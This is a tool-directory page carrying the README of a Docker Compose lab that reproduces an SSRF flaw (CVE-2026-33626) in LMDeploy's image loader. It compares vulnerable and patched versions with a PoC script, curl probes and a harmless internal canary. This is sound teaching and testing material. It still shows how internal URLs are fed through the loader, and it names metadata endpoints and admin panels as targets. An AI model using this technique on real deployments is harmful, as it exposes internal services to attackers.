Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-33626-Lab — Docker Compose lab reproducing CVE-2026-33626 SSRF in LMDeploy's vision-language image loader. Compares vulnerable (0.12.0) and patched (0.12.3) behavior with a PoC script and internal canary service. | Kitploit
Tools/GitHubGitHub/rootdirective-sec/cve-2026-33626-lab
Vulnerability AnalysisWeb SecurityCTFLearning & EducationAI SecurityLabs & Practice
GitHubrootdirective-sec/cve-2026-33626-lab

CVE-2026-33626-Lab

Docker Compose lab reproducing CVE-2026-33626 SSRF in LMDeploy's vision-language image loader. Compares vulnerable (0.12.0) and patched (0.12.3) behavior with a PoC script and internal canary service.

View Repository
23 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-33626 — LMDeploy Vision-Language SSRF Lab

Overview

This repository reproduces CVE-2026-33626, a Server-Side Request Forgery (SSRF) vulnerability in LMDeploy's vision-language image loading path.

The vulnerable behavior occurs when LMDeploy receives an image URL and the server-side image loader fetches that URL without properly blocking internal, private, loopback, or link-local addresses.

This lab compares:

ServiceVersionPurpose
vulnLMDeploy 0.12.0Demonstrates the vulnerable behavior
patchedLMDeploy 0.12.3Demonstrates the patched behavior
internalLocal canary serviceSimulates an internal-only resource inside the Docker network

The lab is designed to run locally with Docker Compose and does not contact cloud metadata endpoints or external targets.


Vulnerability Summary

LMDeploy supports vision-language workflows where an image may be loaded from a user-supplied URL. In vulnerable versions, the image loading code can fetch URLs that resolve to internal/private network addresses.

This can allow an attacker with access to the LMDeploy endpoint to make the server request internal resources, such as:

  • internal HTTP services
  • metadata endpoints
  • cache/database services
  • private admin panels
  • other services reachable from the inference server network

In this lab, the internal target is intentionally harmless:

root@kitploit:~
http://internal:9000/private.png

The URL only exists inside the Docker Compose network.


Lab Design

root@kitploit:~
PoC script
   |
   | sends image URL
   v
vuln / patched service
   |
   | calls lmdeploy.vl.load_image(url)
   v
internal canary service

The lab does not run a full VLM inference server. Instead, it isolates the vulnerable LMDeploy image-loading primitive by calling:

root@kitploit:~
from lmdeploy.vl import load_image
load_image(url)

This keeps the reproduction lightweight and deterministic while still demonstrating the security behavior that was patched.


Repository Structure

root@kitploit:~
.
├── docker-compose.yml
├── internal
│   ├── Dockerfile
│   └── server.py
├── patched
│   └── Dockerfile
├── poc
│   └── poc.py
├── vuln
│   └── Dockerfile
└── README.md

Services

ServiceHost URLContainer PortDescription
vulnhttp://127.0.0.1:80818000LMDeploy 0.12.0 wrapper
patchedhttp://127.0.0.1:80828000LMDeploy 0.12.3 wrapper
internalhttp://127.0.0.1:80909000Internal canary service

Inside the Docker network, the internal canary is reachable as:

root@kitploit:~
http://internal:9000/private.png

Requirements

  • Docker Desktop
  • Docker Compose v2
  • Python 3 for running the PoC script

On Apple Silicon, the vuln and patched services run as linux/amd64 because the LMDeploy wheel used in this lab is x86_64-oriented.


Run the Lab

Build and start the services:

root@kitploit:~
docker compose up -d --build

Check container status:

root@kitploit:~
docker compose ps

Expected status:

root@kitploit:~
cve-2026-33626-internal   Up
cve-2026-33626-vuln       Up (healthy)
cve-2026-33626-patched    Up (healthy)

Verify Versions

root@kitploit:~
curl -sS http://127.0.0.1:8081/version | jq
curl -sS http://127.0.0.1:8082/version | jq
curl -sS http://127.0.0.1:8090/hits | jq

Expected output:

root@kitploit:~
{
  "lmdeploy_version": "0.12.0",
  "expected_role": "vulnerable"
}
root@kitploit:~
{
  "lmdeploy_version": "0.12.3",
  "expected_role": "patched"
}
root@kitploit:~
{
  "hits": []
}

Run the PoC

Create a virtual environment and install dependencies:

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate
pip install requests

Run the PoC:

root@kitploit:~
python poc/poc.py

The default SSRF target is:

root@kitploit:~
http://internal:9000/private.png

This target is reachable from the Docker containers, not from the public internet.


Expected Result

Vulnerable Service

The vulnerable service should fetch the internal canary image successfully:

root@kitploit:~
{
  "service": "vulnerable",
  "probe_http_status": 200,
  "probe_response": {
    "ok": true,
    "result": "lmdeploy.vl.load_image() fetched and decoded the URL",
    "lmdeploy_version": "0.12.0"
  },
  "internal_hit_count": 1
}

This confirms that LMDeploy 0.12.0 made a server-side request to the internal Docker service.

Patched Service

The patched service should block the same URL before the internal service is reached:

root@kitploit:~
{
  "service": "patched",
  "probe_http_status": 400,
  "probe_response": {
    "ok": false,
    "error_type": "ValueError",
    "error": "URL is blocked for security reasons: Blocked non-global IP detected",
    "lmdeploy_version": "0.12.3"
  },
  "internal_hit_count": 0
}

This confirms that LMDeploy 0.12.3 blocks URLs resolving to non-global/internal IP addresses.

Final expected summary:

root@kitploit:~
[+] Expected result confirmed:
    vulnerable service fetched the internal canary
    patched service blocked before reaching the internal canary

Manual Test

Reset the internal canary:

root@kitploit:~
curl -sS -X POST http://127.0.0.1:8090/reset | jq

Test vulnerable service:

root@kitploit:~
curl -sS "http://127.0.0.1:8081/probe?url=http%3A%2F%2Finternal%3A9000%2Fprivate.png" | jq
curl -sS http://127.0.0.1:8090/hits | jq

Expected: /hits contains one request.

Test patched service:

root@kitploit:~
curl -sS -X POST http://127.0.0.1:8090/reset | jq
curl -sS "http://127.0.0.1:8082/probe?url=http%3A%2F%2Finternal%3A9000%2Fprivate.png" | jq
curl -sS http://127.0.0.1:8090/hits | jq

Expected: /hits remains empty.


Why This Demonstrates SSRF

The PoC does not request the internal service directly as the attacker.

Instead, the PoC sends an internal URL to LMDeploy. If LMDeploy fetches that URL from inside the container network, the internal canary records the request.

That behavior proves the SSRF primitive:

root@kitploit:~
attacker-controlled URL
        ↓
LMDeploy server-side image loader
        ↓
request to internal network resource

The patched version prevents this by rejecting URLs that resolve to non-global IP addresses.


Cleanup

root@kitploit:~
docker compose down -v

References

  • GitHub Security Advisory: GHSA-6w67-hwm5-92mq https://github.com/InternLM/lmdeploy/security/advisories/GHSA-6w67-hwm5-92mq

  • NVD: CVE-2026-33626 https://nvd.nist.gov/vuln/detail/CVE-2026-33626

  • Patch Commit: 71d64a339edb901e9005358e0633fbbab367d626 https://github.com/InternLM/lmdeploy/commit/71d64a339edb901e9005358e0633fbbab367d626

  • Pull Request: #4447 https://github.com/InternLM/lmdeploy/pull/4447

  • Sysdig Analysis https://www.sysdig.com/blog/cve-2026-33626-how-attackers-exploited-lmdeploy-llm-inference-engines-in-12-hours

Download Tool